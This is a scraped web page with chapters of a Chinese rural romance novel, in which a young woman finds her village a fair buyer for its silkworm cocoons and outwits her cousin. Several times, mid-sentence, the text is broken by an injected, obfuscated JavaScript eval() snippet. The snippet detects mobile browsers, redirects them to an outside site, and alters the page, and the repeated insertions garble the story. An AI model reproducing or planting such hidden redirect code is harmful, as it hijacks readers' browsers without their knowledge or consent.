余晚桃靠近了些，视线落在他微微被压弯的扁担上，疑惑道:“叔不是去卖蚕茧的吗？怎么像又挑着回来了。” “没卖出去。”，余天庆愁道:“这批蚕茧村里不少人都大丰收了，那千丝坊的说量太大收不了这么多，原是三十文一斤的，现在只能给二十文一斤，我想着过几日再担去看看，今日先不卖了。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13589647|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎会收不了这么多？”余晚桃皱眉，这其中明显有猫腻。 丝绸、帛、绡这种布匹种类在各州府都是香饽饽，作为主要原材的蚕茧，在市场上怎么都不可能会饱和的，千丝坊那般产业的铺面，更不存在“收不了”这种说法。 “叔，你仔细同我说说。”，余晚桃搬了凳子来，站到竹篱笆边，伸出一个脑袋去。 余天庆个高，干脆走近了篱笆，开口道:“我们今儿上午村里大家伙一起去的千丝坊，开始管事的没说啥，问清楚了我们是同一个村的之后，就又问我们这批蚕茧大丰收用的甚法子，我们也没说是你教的，只同他讲得了一老蚕农手札的指点。” “管事的听了就不知道同他们千丝坊的老板说了啥，反正走了有一会，再回来就说收不了，压我们价。” 余晚桃忙追问:“你们都没卖吧？”，要是二十文卖出去可是要亏的。 余天庆摇头:“没卖，我们商量了一下就都走了，打算过几天再去问问，实在不行就另找合适的销路。” “那就成，那管事恐怕就是故意压价的，我寻个时间去县里打探一下消息，你让他们别急，咱们的蚕茧好，不愁销路的。”，余晚桃与他道。 这厢说着话，打远了便瞧见崔玉棠拎着东西回来了，余天庆说完“放心，我会跟村里人打好招呼的。”，就往自家里回了。 余晚桃将装满熏鱼干的簸箕端到灶房里放起，就听到小细柳欢欢喜喜的声音，她走出去瞧，正蹲地上逗着鸡苗咯吱叫呢。 “二郎这鸡苗没挑错，都是活泼的，瞧这小鸡绒毛多顺溜，一看就知道前主人家养得好。” 崔玉棠解下竹筐，拿出一尾排骨，一刀腊肉，说道:“我哪会挑什么鸡苗，都是秋嫂子帮忙挑的。” “秋嫂子去县里卖菜吗？”，余晚桃接过那尾排骨和一小刀腊肉，挑了挑眉，像是不理解明明叮嘱是买的排骨，怎么还多了一刀腊肉。 崔玉棠揉着自个发酸的肩膀说:“秋嫂子是去卖菜，但菜卖相不好，没卖出去多少把，后边都贱价出给慈济堂了。” “这刀腊肉是我看一个别村的猎户去卖猎物时摆出来的，你不是想吃水葱炒腊肉吗？”，崔玉棠嘴角上扬:“明天我进山去扯一把野水葱，做给你吃。” 小细柳由衷道:“瞧瞧，这对桃子可上心得紧，我看村里那些男人真比不上二郎。” “婶子你可打趣我了，自从跟庆叔进山以后桑园和蚕舍的事都是你们在忙，我也只能在这些微薄的小事上着着力了。”，崔玉棠把竹筐挂到屋檐下的晾衣架尾端去，从怀里摸出钱袋。 他把里边剩的十二个铜板递给余晚桃，“今日两只兔子卖了七十文，然后买了二十只鸡苗，一只两文共花了四十文，一副排骨十二文，小刀腊肉十五文，剩三文吃了个肉包子。” 余晚桃在心里盘算了下，这收入跟支出应该持平了才是，她犹豫着开口:“那这十二文是？” 崔玉棠闻言，顿了下，摸了摸鼻子，像是有些不好意思。 18. 香煎鱼块 “县里新开了一间铺子，叫锦庄，造势很大，开业点鞭炮时在铺子门口撒了很多铜钱，我刚好经过，就……”，崔玉棠说着话，自个的薄脸皮子就冒红了。 大概是真就“生活所迫”这四个字督促着他，才叫他舍了身段去抢这种铜板。 “既然这是二郎努力赚来的，那就自个收着吧。”，余晚桃忍着笑道:“出门在外总要有一些银钱傍身的。” 崔玉棠呐呐地把手收了回去，哦了一声。 “今天我下厨，我们吃香煎鱼块和苦瓜焖排骨，你累了就去歇歇，等会做好了再进屋喊你。”，余晚桃扬起笑，在他手臂拍了一下，就往灶房里去了。 小细柳给鸡笼里的小鸡崽喂了水，去后院抱柴进灶房里，蹲下生火，期间说道:“明天赶早去把鸡窝棚搭起来，不然鸡笼太小，在里边挤太久了怕是得生病。” “那明天早些起，让二郎去山里砍些小松木回来搭棚框。”，余晚桃拿出一条熏鱼干浸泡在热水里，另洗了排骨，切段，用酱油，姜蒜葱掐出汁水后把排骨放进去腌入味。 接着起锅烧油，炒香蒜片和姜丝后放入腌制好的排骨，煎至两面金黄，加酱油上色，菌菇辣酱调味，翻炒至香味飘出，加入末过平面的水，再在上面铺一层泡软的苦瓜干，盖上木锅盖焖上半小时。 焖煮的时间长，余晚桃去屋里寻来了一个小些的麻袋，将簸箕里的熏鱼干装进去，把口扎严实，塞到木柜的最上边去。 熏鱼干浸泡开后，切成薄厚相宜的鱼片，等锅里的苦瓜干焖排骨做好盛出来，刷锅重新起油，下锅煎鱼，因为是放了盐腌制熏干的，这会也不用放调料和盐，小火简单煎一煎便成吃了。 “我去端饭。”，小细柳闻着香味肚儿就直叫唤了，捅熄灶膛里的火星子后，迫不及待地洗了碗筷，把蒸饭的小木桶端出去。 余晚桃把院里桌凳摆好，对主屋高声喊:“二郎，快来吃饭了。” 崔玉棠从屋里出来，脸颊上还有一道草席的压痕，眼睛半睁不睁的。 “真困了？”，余晚桃给他盛了饭，“那快些吃，吃了洗漱去睡觉，明天早起进山去砍小松木拖到桑园那边，我们搭个鸡窝棚。” 崔玉棠应了一声好，原先脑子还迷蒙着，不过随着第一口煎鱼进了嘴，就渐渐清醒了，他有些惊喜:“这个熏鱼干鱼肉紧实，嚼着咸香咸香的。” “鱼干是这个味的，不咸都不好保存，你可不能贪吃，仔细夜里频繁起来喝水。”，余晚桃怕他吃多了半夜被齁着。 她夹起一块排骨进他碗里:“这排骨焖得软烂，多吃这个。” “谢谢阿桃。”，崔玉棠也给她夹了一块。 小细柳坐旁边看着，脸上笑意很深，也不横进这小夫妻的相处里，自顾自吃着饭。 自从来了余家帮工后，顿顿都能吃饱，也不用再提心吊胆地过活着，这日子再没有更好的了。 夜里各洗漱完躺床上，覆上灯罩的蜡烛在房中散着昏黄的光，照得人影斜斜，窗台处的夜风缕缕而来，带着沁人心脾的凉意，吹散了屋内的闷热。 崔玉棠张着双臂，趴在枕头上，扭头对余晚桃有些可怜的说:“阿桃，我肩膀被竹筐压了一日，酸疼得紧。” 余晚桃去木柜里翻出药油，示意他把里衣脱了。 崔玉棠红着脸，飞快脱了里衣。 余晚桃把药油倒在手心里搓热了，才覆到他肩膀处轻轻揉按着，低头时长长的头发倾到身前，发梢擦过崔玉棠的眼睛，嘴唇，他悄悄吹了口气，将那缕发梢吹得来回飘动，注意力却全在肩膀上。 “回头在竹筐两条带上缝一层厚布，背着不那么勒肉。” 余晚桃给他两边肩膀都搓了药油，起身去洗手，回来时顺便吹熄了烛火，关上窗户。 屋里一下暗了，她摸黑上床，想着明日要做的事，很快沉入梦乡。 …… 搭鸡窝棚这事还是小细柳在行，余晚桃就在旁协助，桑园里不缺空地，鸡窝棚的位置就定在桑园最里侧，二十只小鸡崽长大之后还是挺占地方的，鸡窝棚就得搭宽些。 小细柳干活很利索，搭起棚架来也娴熟，两人配合着一个递木条和竹篾，一个负责固定，崔玉棠则跑了几趟山，去砍小松木和竹子。 “要不要用泥砖砌一个喂鸡槽？”，余晚桃直起腰来大喘气，被热得头脑昏昏的。 小细柳擦着汗，利落道:“不用，砌泥砖可得花钱，散养鸡让它们自己在园里找吃的就行，我们就砍两根粗竹，取了节子固定到篱笆边，平时剩饭剩菜烂菜叶啥的直接用潲水桶装过来往里倒就成了。” “欸，行。”，余晚桃看着渐渐落成的鸡窝棚，去把放在桂花树底下的鸡笼提过来，把笼口打开让小鸡崽们出来放风。 一地的碎木片和草屑收拾干净后，小鸡崽们也正式入住新家了。 鸡窝棚是围了一片地出来的，外侧空地，里侧是草藤席棚架，眼下天气热，桑树枝繁叶茂能起到很好的遮阳效果，小鸡崽们都溜达着到处啄食吃，基本没几只是躲在棚子里的。 余晚桃把菜地里的老白菜帮子掰了一把过来扔进去，瞧着小鸡崽都健康着没甚病歪歪的迹象，这才放心地开始摘桑叶。 蜕完皮的蚕正式进入五龄期了，这个阶段的蚕进食量是最大的，需要保证每天进食充足，后面结茧吐丝才会更多。 三人连着摘了六麻袋的桑叶，扛回家后马不停蹄地把桑叶倒出来清洗、晒干水份、散热，最后才能铺到蚕座上喂食。 忙完后已经是下午了，吃了碗酸辣黄瓜丝凉拌面，余晚桃就出了门，去村里木匠家取定做的缫丝架。 途径陈家，见陈老根大热天的挑着两担泥砖回来，她走近打了招呼，问:“舅舅，你挑这些泥砖是？” 陈老根扯着挂在脖子上的汗巾擦了把脸，说:“我在县里做工的码头那有一户老爷家里翻修，这是他们不要的陈砖，我捡些回来补一补茅房那面墙。” 他扬起被晒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13598686|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得黝黑的脸笑了笑，从竹筐里取下一个布包，里面是两块炸脆角，他捏了一块给余晚桃:“这是码头管事赏的，我留一块给你舅母，这块给你。” “舅舅你留自己吃吧，我刚吃了面条才出门的。” 许是听到了院外头的声音，李氏叉着腰跑出来，一手呼呼摇着竹篾扇，一手抢过陈老根手上的炸脆角，扯起嗓来骂:“丧良心的陈老根，有点好东西就拿去给这个小娼子！” 陈老根沉下脸，“你消停些吧！给个炸脆角而已又不是甚好东西，该得县令大老爷赏你那十板子，还不长记性。” “我呸！”，李氏恶狠狠地咒骂:“那县令瞎眼的王八不分青红皂白的乱判案，迟早有他脑袋掉的。” “舅母说话可别这么没遮没拦的，表哥在县里读书最重名声，万一这话传进了哪个有心人的耳朵里，那表哥也别想继续考秀才了。”，余晚桃一脸认真地提醒她。 李氏瞬间涨起脸，这才后知后觉自己大逆不道的言论，她左右看看没人，不甘心跺了一下脚，呸了一声，扭头来盯着晚桃:“你表哥近日在县里相看秀才公府上的小姐，正是要紧时刻，若叫我听到些外面的风言风语，看我不撕了你的嘴。” “舅母放心，我又不像有些人，为老不尊，整日出去搬弄是非，忒没嘴德了。” “你说谁整日搬弄是非呢！” “我又没说你，当然也没说李阿奶。”，余晚桃摊手，语气无辜。 她无意与李氏多攀扯，也确实不关心陈文祖相看的甚人家，同陈老根说了几句话就走了。 从木匠家回来，余晚桃将缫丝架放回屋里，拎水桶去后院浇菜地，之前空出来的豇豆地，已经种上了一排辣椒苗和番薯苗，番薯苗长得很快，短短几天发的新芽已经成藤往外攀了。 “桃子！”，林小秋的声音自院外响起。 余晚桃放下水瓢穿过后屋走到前院去，见林小秋站在竹篱笆外，对她招手:“桃子，你家二郎昨天买的鸡苗是养在院里的不？” 余晚桃开了院门，让她进来说话。 “我这院里紧俏得很，哪里有空地余出来盖鸡舍，我养桑园里去了。” 林小秋提着一篮子鸡蛋进来，“我还以为你养后院去了呢，我婆母让我过来问问你，还要不要种鸡蛋孵小鸡的。” “这二十只小鸡崽我跟细柳姐都怕养不过来呢，你怎么不拿去县里卖？”，余晚桃给她倒了一碗粗茶水喝，目光落在那一篮子鸡蛋上。 林小秋抿着嘴抱怨:“家里人忙着拔花生收玉米都没空去县里，我婆母说我自个去县里不安全，在村里卖卖得了，我都懒得驳她，这村里谁家没养鸡的啊，哪里就能卖出去了。” 余晚桃笑道:“明天我正好要去县里，可以一起去。” “真的？”，林小秋立刻眉开眼笑，高兴道:“那我明天早上来喊你。” “行。” 两人约好后，林小秋就原封不动拎着一篮子种鸡蛋回去了。 19. “文祖表哥~” 天一亮林小秋就过来喊人了。 因为昨儿晚上吃饭时余晚桃就说了要去县里的事，崔玉棠便起早了些，摊了两张面饼，并两个水煮蛋一齐放进布袋里让她路上吃。 乡间小道颠簸得紧，余晚桃从布袋里拿了一个水煮蛋，一张面饼递给林小秋:“早起还没吃朝食吧，这是二郎做的，分你一半。” 林小秋笑嘻嘻地磕着鸡蛋壳剥，脆声道:“还是你家二郎会疼人，可没哪家汉子会这般体贴地去分担灶房里的活计，像我家那个，就是油罐子倒了都不带扶一下的，” 说着便压低声音，凑到余晚桃耳边不害臊地问她:“夜里你家二郎可闹你得紧？会不会每晚都缠着你要？” 余晚桃乍听着这话还没反应过来，待回过味后，她用一种难以言喻的目光斜视着林小秋，心里发嘀咕:谁说古人保守的？ 谣传！谣传！ 这要她怎么回？ “看二郎性子温和，便知道是个体贴的，定不似我家那粗汉子，两把子力气没处使似的，夜里就知道逮着我折腾。” 林小秋见她低头未有搭腔的意思，只以为她害羞，自顾自的又接着说道:“只是这眼见着成亲有两个年头了，也不见折腾出一个崽子来，我婆母最近愈发催得紧，到处去寻乡下郎中找生子秘方呢。” 余晚桃闻言只能宽慰她:“这当是顺其自然才好，你放宽心，只要身子没问题，孩子都是早晚的事。” 林小秋郁闷地两口吃完水煮蛋，向天翻了对白眼:“你是不知村里那些婆子嘴闲得很，表面因为家公村长的身份对我恭敬讨好，实际上暗地里都不知怎么传我这下不了蛋的母鸡呢。” “嘴长别个身上，哪里是我们能左右的，只管过好自己日子便是，那些个自己生活不如意的，才会整日通过编排别人来获得成就感。”，余晚桃劝她。 林小秋捂着嘴笑，点头认同。 到了县里，两人在西边长街走了一段，拐进专门买卖家禽的街巷里。 陡一进去，便是一股子鸡鸭鹅的屎尿味，街巷长长的不见尾，林小秋寻得一个空位置，忙挤了进去，把一篮子种鸡蛋摆出来开始吆喝。 不多一会便有妇人上来问价。 林小秋常年跟她家男人出来卖菜，早就练得了一张顺溜的嘴皮子，把那些来询价的妇人逗得咯咯直笑，一篮子种鸡蛋不到半时辰就卖完了。 “秋嫂子，你这嘴皮子可适合用来做生意了，一点都不怯场。” 这厢卖完了种鸡蛋，林小秋拉着余晚桃在街上逛，买了把小摊贩摆出来散卖的梨木梳，经过一间胭脂铺时，她突然一把拽住余晚桃，“桃子，你看那是不是你表哥？” 余晚桃往她的目光方向看去，就见陈文祖与一位小姐进了胭脂铺，二人并肩而行，书生文雅，女子婉约，瞧着倒是般配。 林小秋好奇得不行，“一直听李氏吹她儿子在县里找了一个秀才家的小姐，看来是真的啊，都能去胭脂铺里逛了。” “胭脂铺逛如何了？”，余晚桃被她的话逗笑了，“别看这铺子门面阔气，其实一些香胰，手油，脂膏的价钱和外面摆摊的差不了多少。” 林小秋缓缓睁大眼:“你可别诓我，我听说这些铺子里的东西都是县里富贵人家才买得起的，一小盒口脂就要五两银子。” “进去瞧瞧就知道了。”，余晚桃话不多说，拉着她便进了胭脂铺里，一个小工迎了上来，眼睛快速打量了一下，笑着问:“二位需要买点什么？” 余晚桃道:“手油。” “请这边走。”，小工领着她们到一个柜台边，说了句“二位慢慢挑”，就转身去迎其他客人了。 余晚桃拿起一雕花小盒，旁边便有专门的小工作介绍:“这是青柠桔味的润肤手油，一盒作价一百二十文。” “那这盒呢？”，林小秋指着柜台上外观比较朴素的一个大圆盒问。 “这个是桐花油，作价二十文，是我们铺子里最受欢迎的一款了，价钱不高但耐用，许多妇人来了我们这，都爱买这款的。” 才二十文，林小秋在心里盘算着，一直以为胭脂铺里的价格都恁高，不成想一盒才二十文，她当即高兴道:“我就要这个！” 一盒省着些用，能用上一年呢。 “桃子你买不买？”，林小秋拉拉余晚桃的袖子。 余晚桃眼睛微眯，舅舅每日在码头辛苦做工，陈文祖却这般潇洒地出入些富贵地随意挥霍，那她敲一笔回来，再买块肉回去请舅舅吃一顿，很合理吧？ 她盯了小工一眼，故作疑惑道:“你们铺里可是还有别的地方？我刚才似乎瞧见我表哥进来了，这会都不见他人。” 小工回:“那许是上了二楼。” “那我也想上二楼瞧瞧，我表哥是青山书院的学子。”，余晚桃特意补充了一句。 小工闻言果然态度更恭敬了，二话不说就领着她们上楼。 林小秋心里毛毛的，她小声问:“桃子，你想干嘛？” 余晚桃给了她一个安心的眼神。 二楼眼瞧着就比一楼气派，入口左右各一樽三角铜鼎盘着神珑香，客人们都作富贵人家打扮，柜台上摆的东西也精致多了。 余晚桃掩着嘴，精准捕捉到陈文祖的身影，她高兴地奔过去，脸颊因为兴奋而浮现一层晕红:“表哥！原来真的是你啊，我还当刚才看错眼了呢。” 陈文祖回头，当即眉头一皱，“你怎么在这？” 余晚桃嗔怪了他一眼，“表哥这是什么话？我怎么就不能在这了？莫不是在书院里读几日书，就不认得我这个穷表妹了。” 陈文祖:“你——” “这位姐姐你长得可真好看，像仙子一般呢。”，余晚桃打断了陈文祖的话，自来熟的去攀住旁边小姐的胳膊，嘴儿抹了蜜似的开始捧:“我刚才远远瞧着就知道姐姐是个貌美的，近了一看当真是副吹弹可破的桃花面，与我表哥般配极了。” “哎呀尽说这些，你都还不知道我是谁吧？”， 余晚桃笑得眉眼弯弯:“我叫桃子，因为年幼丧亲自小便住在表哥家里，他不嫌弃我是个孤女，平时有什么好的玩的，表哥都会想着给我买，亲如兄妹一般呢。” 那小姐大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13607414|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 概没见过这般自来熟，又热情的人，被捧得脸颊微红，抬头看了陈文祖一眼，又有些害羞，她微微探身，小声道:“不曾想陈公子竟是这般疼爱家中姊妹，想必定是个心胸宽广的良善之人。” 陈文祖心里积着一团郁气，不知余晚桃这么冲过来说这一番话是为的什么，但也只能谦逊应了:“小姐言重。” “文祖表哥~” 余晚桃去扯扯陈文祖的宽袖，撒娇:“表哥，我想买一盒口脂，你给我买好不好？” 陈文祖微沉下脸:“你平时只在村里干活，买口脂作甚？又用不上。” “村里干活也想买口脂呀，哪个姑娘家不爱美的，是不是姐姐？”，余晚桃小声抱怨，委屈地在胸前对手指。 “给她买吧，桃子妹妹说得也对，左右一盒口脂也不费甚么银子的，就当是我送桃子妹妹的见面礼了。” 话说到这份上，陈文祖与对方的亲事还未正式定下，此时当然不可能真的让她出银子，只能忍着晦气，给余晚桃拿了一盒最便宜的。 “不要这个，我要那个盒子雕着荷花的。” 余晚桃面不改色地给自己挑了一盒作价二两银子的。 可想而知，结账时陈文祖的脸色有多难看。 等与他们分别了，余晚桃拿着那盒口脂返回胭脂铺，对掌柜的说道:“退货。” 掌柜的:“……” “桃子，你这么坑了陈文祖一笔，不怕他回村里找你麻烦啊？”，林小秋从头到尾不敢吱声，眼睁睁看看余晚桃一顿操作，二两银子轻松到手，佩服得不行。 余晚桃哼了一声:“他只要还想攀秀才府的这门亲事，就不敢来找我麻烦，毕竟他也怕我到那小姐跟前乱说，捣毁他往上爬的机会。” 林小秋不得不承认:“还是你厉害。” “秋嫂子，我想去千丝坊走一趟，可能会有些久，你要不先到城门口牛车那等我？” 林小秋应了一声，问:“去千丝坊干嘛？那的管事可坏了，故意压我们村蚕茧的价。” “去看看。” 余晚桃再一次来到了千丝坊，见依旧有许多蚕农挑着扁担进来卖蚕茧的，她好奇地踏了进去，侧耳听声。 “哟，姑娘可把你盼来了。”，一道穿堂声高高响起，便见千丝坊的管事从后门回廊处快步往余晚桃这边走，待走近后，他迫不及待问道:“可是有新的蚕丝来卖了？” 余晚桃摇头。 管事见她摇头，整张脸当即垮下，怪声道:“都这么久了，缫丝得废这般功夫啊？” “管事的这蚕茧可还是按三十文一斤收的？”，余晚桃不理会他的怪声，径自问道。 管事兴致不大高地拨着算盘，“是三十文一斤，怎么了？” 余晚桃哦了一声:“那我怎么听着了一些风言，只当是千丝坊收量饱和了，不打算再做这门生意了呢。” 管事拨着算盘的手指顿住，正眼打量余晚桃片刻后双眼放光，闪过一丝明悟:“原来姑娘是大桑村的人啊，那可就好办了。” “你这是甚么意思？”，余晚桃眉心紧蹙。 20. 拒绝交易 ——千丝坊茶室。 管事给余晚桃倒了一杯茶，面上带笑，询问道:“姑娘家里可有人能做主的？” 余晚桃端起碧绿色茶盏，无声望了管事片刻，如牛嚼牡丹般喝了口茶，“怎么？管事的看我不像是个能做主的？这朝请我过来就只单纯吃口茶？” “那自然不是只吃茶。”，管事将手肘抵在茶桌边，身子微微往前探去，“姑娘既然能当家，那我也不妨与你说几句心里话，你们村的蚕茧不错，量大质忧，就是可惜了——” 余晚桃睁着眼睛，顺他话问:“可惜甚么？” “实不相瞒，我们东家是很钟意你们村子里那批蚕茧的，就是奈何目前铺子里没有好的缫丝手艺，这个缫丝的成本高啊，所以只能通过这种法子来降低成本了。”，管事拍着肚皮，惋惜地说着。 余晚桃哦了一声，将红木茶桌上那碟羊乳酥丝酪拉到自己面前，拿出一方帕子，认真地往里放着，直至最后一块，她张口吃了，点评道:“这羊乳酥丝酪真不错，千丝坊不改行卖糕点真是可惜了。” 管事的脸色变了变，旋即朗声笑出来，他哎呀一声，也不与人拐弯抹角的了，直言道:“姑娘要喜欢吃这糕点，等会让人给你包两扎带走也无妨。我啊，直与你言明了吧，我们东家看上了你家的缫丝手艺。” 他比了一个掌，稳声道，“我们东家，愿以五十两银子，买你家的缫丝法子，如何？这五十两当然不是买断，你这厢与我们做了生意，往后也可以和其他铺子做同样的买卖，不算违约。” “交易成功后，我们千丝坊依旧以三十文一斤的价格收购你们大桑村的蚕茧。” “千丝坊故意压我们大桑村蚕农的价，不就是看他们无知，好欺吗？”，余晚桃撑着下巴打量他，片刻后站起身将顺来的糕点包好，塞进衣襟里。 她声音淡然，眸色未见起伏，只是定定打量的眼神，却叫人觉得心虚，生出一股心中算计无所遁形的错觉来。 管事张口，还想说些什么，却叫余晚桃先一步开口，“本来嘛，做生意就是如此的也无甚指摘，只是我们村里人家养蚕不易，风吹雨淋不得歇，挣的都是辛苦钱，千丝坊这种做派实在叫人不敢再合作。” 余晚桃说完便不管他脸色如何难看，转身走出茶室，离开了千丝坊。 千丝坊故意压价这种行为显然是常规手段，跟这做生意没个保障的，县里又不止这一家，没必要平白让人拿捏了去。 况且这千丝坊摆明了看上她的缫丝手艺，今日好言好语的商量，往后可就说不定有甚威逼利诱的手段拿出来对付大桑村的人。 这一条街上虽属千丝坊名声最响，但也不乏一些小型的布庄如雨后春笋般崛起，余晚桃转了一圈下来，最后停在了一间装潢雅致的铺面前，她抬头望去，见门口那两座狮子还围着红绸带。 “锦庄……”，这不就二郎说的，县里新开的铺面吗？ 原是布庄。 余晚桃跨步进去，暗暗打量着大堂里陈列整齐的卷卷布匹，有织锦、丝绸、棉布、绢纱香绫这些，瞧着面料种类倒是齐全，进来逛的也都是一些作丫鬟打扮的姑娘，像是来帮自家主子采买的。 余晚桃唤了一个小工过来，“我想问问，你们这的丝绸如何作价的？” 小工:“丝绸也分多种的，时下店里新款香云绸一匹约四丈，作价十两，其余的五两至八两价位都有，这都看客人您选哪款花色面料决定的。” “原是这样。”，余晚桃让他从架上取一匹香云绸下来，摸着上面的面料纹路，闲聊一般与小工抱怨:“我家小姐皮肤娇弱，可是要穿纯蚕丝做的面料，你这些没杂其他料子进去吧？” “这您放心，我们锦庄有布坊，从收购蚕茧，到缫丝、织布、染布，一整套流程下来都是自家做的，从不对外采购成品布，绝对真材实料的。” “听着是还不错。”，余晚桃忽地凑近小工，给了他五个铜板，压低声音问道:“我有一乡下亲戚托我问问，只言他们一个村都养蚕的，最近在寻新销路呢，你们这的东家可还收？” 小工收了铜板，与她道:“我们布庄只批量收，不收散货的，且确定供货后需签契书，一年内要交足二百斤或者其他量，具体看怎么与东家谈。而且啊，只能供给我们布庄，不允许与别处私下交易。” “那价钱方面？” “三十文到五十文一斤都有，看质量。” 独家合作，有货量要求，且按质定价。 这锦庄的东家看来是个会做生意的，给出的最低价与千丝坊倒是相同。 余晚桃得了想知道的，便不打算多留了，不曾想还未踏出锦庄门槛，便被一人喊住了，她回头询声看去，竟是有过一面之缘的游子涧。 游子涧依旧是那副放荡不羁的做派，衣襟松散慵懒，摇着折扇与一位紫锦华服的男子同朝这处来，边走边给自己正衣襟。 他往余晚桃身后歪头，未见着熟人面，挑了挑眉:“怎不见二郎？” 余晚桃微福身见了礼，浅笑道:“今日是我与同村嫂子来的县里。” “这位是？”，紫锦华服的男子一脸好奇地问游子涧，眼神里明显带点揶揄。 “好友之妻，至于哪位好友，你别问，问你也不认识。” 游子涧没心没肺呛了他一句，便与余晚桃道:“这是锦庄少东家，原是我在府城认识的好友，这阵子来容县开分铺了，若有看上的布匹只管拿，他阔气得很，你使劲宰便是。” 余晚桃笑着推拒了，想也难得遇着游子涧，她垂眸思索片刻，略觉不好意思道:“当日得游大哥点拨，二郎已决定中秋后去青山书院念书，只是尚不知这其中章程如何，又需要备些什么礼。” 闻此一言，游子涧当即朗笑出声，不难听出心情愉悦。 他道:“这两日你让他得空来寻我，我同他说说便是。” “那就多谢游大哥了，我还要赶着回村里喂蚕，就先回去了。” 游子涧不计较则个，摆摆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13624100|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手让她自顾回去便是。 余晚桃拿着从陈文祖那坑来的二两银子买了条猪后腿，割了五斤猪肉，又去了一趟药铺，称些香料，消食丸，才到城门口与林小秋集合。 回到村里她特意绕到陈家那边，让陈老根今儿傍晚到老屋来，有事要与他说。 本还要去找一趟余天庆的，不过买的东西实在多，便只能先回家去了，小细柳接过她递来的竹筐时都震住了。 她捂住嘴，眼睛睁大:“桃子你买恁多肉作甚？咱家三张嘴哪里就能吃得完了！” “今晚舅舅会来吃晚饭，猪腿炖了，五花肉留一半出来。”，余晚桃匆匆道:“我有事得去一趟村长家，你要忙不过来就去喊我啊。” 小细柳哎了一声，让她放心去。 村长家里，余晚桃将锦庄的事同余村长说了，结合村里目前养蚕人家的情况，与锦庄合作无疑是很好的。 她徐徐道:“那锦庄在府城也有铺面，是个有名号的，且给的价钱也比千丝坊的高，我今儿特意去千丝坊探了消息，原别村去卖还是三十文，单只压我们大桑村的价，这不就是看我们村好欺负嘛。” 余村长心里到底有顾虑，千丝坊固然可恨，但好歹买卖自由，他不确定道:“这个锦庄还要签契书，每年按量卖给他们，万一哪阵达不到量，会不会叫我们赔钱啊？” “我们就以这批蚕为例，估算着每户蚕农一期大概能出多少斤蚕，合算起来再往少里报一些，得出数来，拿着这个数再去同锦庄谈买卖。” 这是需要村里一同合计的事，余晚桃也不好说多的，只是将消息传到了，便让余村长自己考量去。 眼见林小秋与婆母开始忙晚饭了，她也不再多留，赶着回家去了。 未进家门，便有阵阵肉香传来。 余晚桃摸着空腹打开自家院门，见是崔玉棠在灶头忙活，她去院里搬了凳子进灶房，给人看火添柴，:“细柳姐呢？” “蚕舍里喂蚕呢。”，崔玉棠整日不见她影，余光淡淡扫了一阵她，“听细柳姐说你去找村长了？” 余晚桃“昂”了一声，抬着脸扬起笑容来:“那个锦庄还记得不？就是你去抢开业铜钱的那家，竟是游大哥好友家开的。他们家也收蚕茧，我们村里的蚕茧不是被千丝坊压价了吗，我就想着去寻个新销路。” “这朝也还不确定成不成，只是告诉了村长这个消息，让他自己组织村里人集合，商量去吧。” “游大哥？” 崔玉棠翻着锅铲，心里不太得劲，他淡淡哦了一声，“你两次都能碰着游兄，也算是缘分。” 余晚桃点头，颇为认同。 她拍拍手站起来，忽又想起一事，探身过去与他一道挤在灶头那，“我同游大哥说了你中秋后去青山书院的事，他让你这两日去寻他一趟，你到时过府可别忘了带礼，不能叫人看低了去。” 崔玉棠心不在焉应了一声，把锅里的辣椒炒肉片铲进海碗里，让余晚桃端出去，准备吃晚饭。 21. 蚕茧丰收 桂花飘香，金黄稻浪延绵，八月天里见了秋，大桑村到了如火如荼的收稻季，田里地里都是面带笑容，挥镰割稻的村民。 不久前在村长的带领下同锦庄达成了合作，他们大桑村，每年需最低提供五百斤蚕茧，多供多收，锦庄都以三十五文价收购，先前被千丝坊压价的那批，当即便被锦庄收了去。 还直言他们村的蚕茧质量好，若无意外以后可长久合作。 大桑村有百来户人家，近半数家中都养了蚕，一年里五月始十月终，能养三到四批蚕，每批六十斤到百斤不等，五百斤的最低量是不成问题的。 